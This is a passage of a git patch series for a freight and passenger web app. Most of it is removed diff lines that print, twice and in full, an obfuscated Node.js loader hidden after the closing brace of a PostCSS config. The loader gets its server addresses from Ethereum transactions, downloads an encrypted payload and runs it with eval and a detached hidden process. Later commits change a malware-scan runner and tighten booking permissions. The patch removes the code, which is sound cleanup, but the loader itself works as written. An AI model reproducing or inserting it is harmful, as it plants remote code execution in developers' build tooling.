Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; diff --git a/apps/edr-passenger-web/portal/postcss.config.js b/apps/edr-passenger-web/portal/postcss.config.js index 0bb9d831b..f2ba591ff 100644 --- a/apps/edr-passenger-web/portal/postcss.config.js +++ b/apps/edr-passenger-web/portal/postcss.config.js @@ -1,4 +1,4 @@ -import { createRequire } from 'module'; +import { createRequire } from "module"; const require = createRequire(import.meta.url); @@ -7,4 +7,4 @@ export default { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index d0cb89d19..f9ae9f63d 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -1,4 +1,3 @@ - /** @type {import('tailwindcss').Config} */ export default { darkMode: "class", @@ -86,5 +85,4 @@ export default { }, }, plugins: [], -}; - +}; From db77fc797ec6bcad513714fa4649944151366eca Mon Sep 17 00:00:00 2001 From: SennayT Date: Fri, 7 Aug 2026 12:03:14 +0300 Subject: [PATCH 12/13] change runner for malware scan --- .github/workflows/malware-scan.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/malware-scan.yml b/.github/workflows/malware-scan.yml index 751118839..15ca4faeb 100644 --- a/.github/workflows/malware-scan.yml +++ b/.github/workflows/malware-scan.yml @@ -35,7 +35,7 @@ jobs: # Plain `self-hosted` — GitHub applies this label to every self-hosted # runner automatically. The scan is host-agnostic, unlike the deploy jobs # which pin to a branch-specific runner. - runs-on: self-hosted + runs-on: [self-hosted, dev] outputs: infected: ${{ steps.scan.outputs.infected }} steps: From 756325c81479bb5e040121168b0d3309b843d21e Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 7 Aug 2026 11:17:44 +0000 Subject: [PATCH 13/13] fix permission --- .../modules/contracts/contracts.controller.ts | 41 +++++++++++++++---- 1 file changed, 32 insertions(+), 9 deletions(-) diff --git a/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts b/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts index 6273be365..0ff9b7c24 100644 --- a/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts +++ b/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts @@ -1074,16 +1074,23 @@ export class ContractsController { // ── Booking under contract (Path A customer / Path B GL ET) ──────────────── @Post(':id/bookings') - @BookingStaff(FREIGHT_PERMS.contracts.createBooking) + // Path A is a customer flow — both audiences must reach the service, whose + // assertGate decides per role. Staff still need contracts:create_booking. + @MixedAudience(FREIGHT_PERMS.contracts.createBooking) @ApiOperation({ summary: 'Create a shipment booking under a contract — Path A (customer) or Path B (GL Ethiopia).', }) - createBooking( + async createBooking( @Param('id', ParseUUIDPipe) id: string, @Body() dto: CreateBookingUnderContractDto, - @CurrentUser() user: AuthUserPayload, + @CurrentUser() user: TCurrentUser & { sub?: string }, ) { + // Customer callers may only book on their own contract. + if (!hasFreightPermission(user, FREIGHT_PERMS.contracts.createBooking)) { + const contract = await this.contractsService.findById(id); + await this.contractsService.assertCustomerCanAccessContract(user?.id, contract); + } // The service decides the execution path from the contract: // Path A (customs disabled) → customer/staff create; status checks apply. // Path B (customs enabled) → GL Ethiopia only, once clearance is ready. @@ -1096,16 +1103,25 @@ export class ContractsController { } @Post(':id/bookings/initiate') - @BookingStaff(FREIGHT_PERMS.contracts.createBooking) + // Customer initiates their own ONE_TIME instance; GL initiates on customs + // contracts — the service's assertGate decides per role, so both audiences + // must reach it. Staff still need contracts:create_booking. + @MixedAudience(FREIGHT_PERMS.contracts.createBooking) @ApiOperation({ summary: 'Initiate a bare booking instance under an import/export contract (ONE_TIME or GENERAL) — no cargo, no date; enters per-booking clearance (AWAITING_DOCUMENTS). ONE_TIME customs instances are opened by the customer (or GL); GENERAL customs comes from a shipment request.', }) - initiateBooking( + async initiateBooking( @Param('id', ParseUUIDPipe) id: string, @Body() dto: CreateBookingUnderContractDto, - @CurrentUser() user: AuthUserPayload, + @CurrentUser() user: TCurrentUser & { sub?: string }, ) { + // Customer callers may only initiate on their own contract; the service's + // assertGate then decides what a customer may do on it. + if (!hasFreightPermission(user, FREIGHT_PERMS.contracts.createBooking)) { + const contract = await this.contractsService.findById(id); + await this.contractsService.assertCustomerCanAccessContract(user?.id, contract); + } return this.contractBookingService.initiateUnderContract( id, { contractRouteId: dto?.contractRouteId }, @@ -1115,17 +1131,24 @@ export class ContractsController { } @Post(':id/bookings/:bookingId/complete') - @BookingStaff(FREIGHT_PERMS.contracts.createBooking) + // Customers complete their own initiated (non-customs) instances; the + // service keeps customs completion GL-only via the actor's permissions. + @MixedAudience(FREIGHT_PERMS.contracts.createBooking) @ApiOperation({ summary: 'Complete an initiated booking after Operations finalized its clearance — cargo + binding day, window and departure checks, pricing and invoicing.', }) - completeBooking( + async completeBooking( @Param('id', ParseUUIDPipe) id: string, @Param('bookingId', ParseUUIDPipe) bookingId: string, @Body() dto: CreateBookingUnderContractDto, - @CurrentUser() user: AuthUserPayload, + @CurrentUser() user: TCurrentUser & { sub?: string }, ) { + // Customer callers may only complete bookings on their own contract. + if (!hasFreightPermission(user, FREIGHT_PERMS.contracts.createBooking)) { + const contract = await this.contractsService.findById(id); + await this.contractsService.assertCustomerCanAccessContract(user?.id, contract); + } // Customs (Path B) instances may only be completed by GL Ethiopia — the // service checks the actor's contracts:create_booking permission. return this.contractBookingService.completeUnderContract(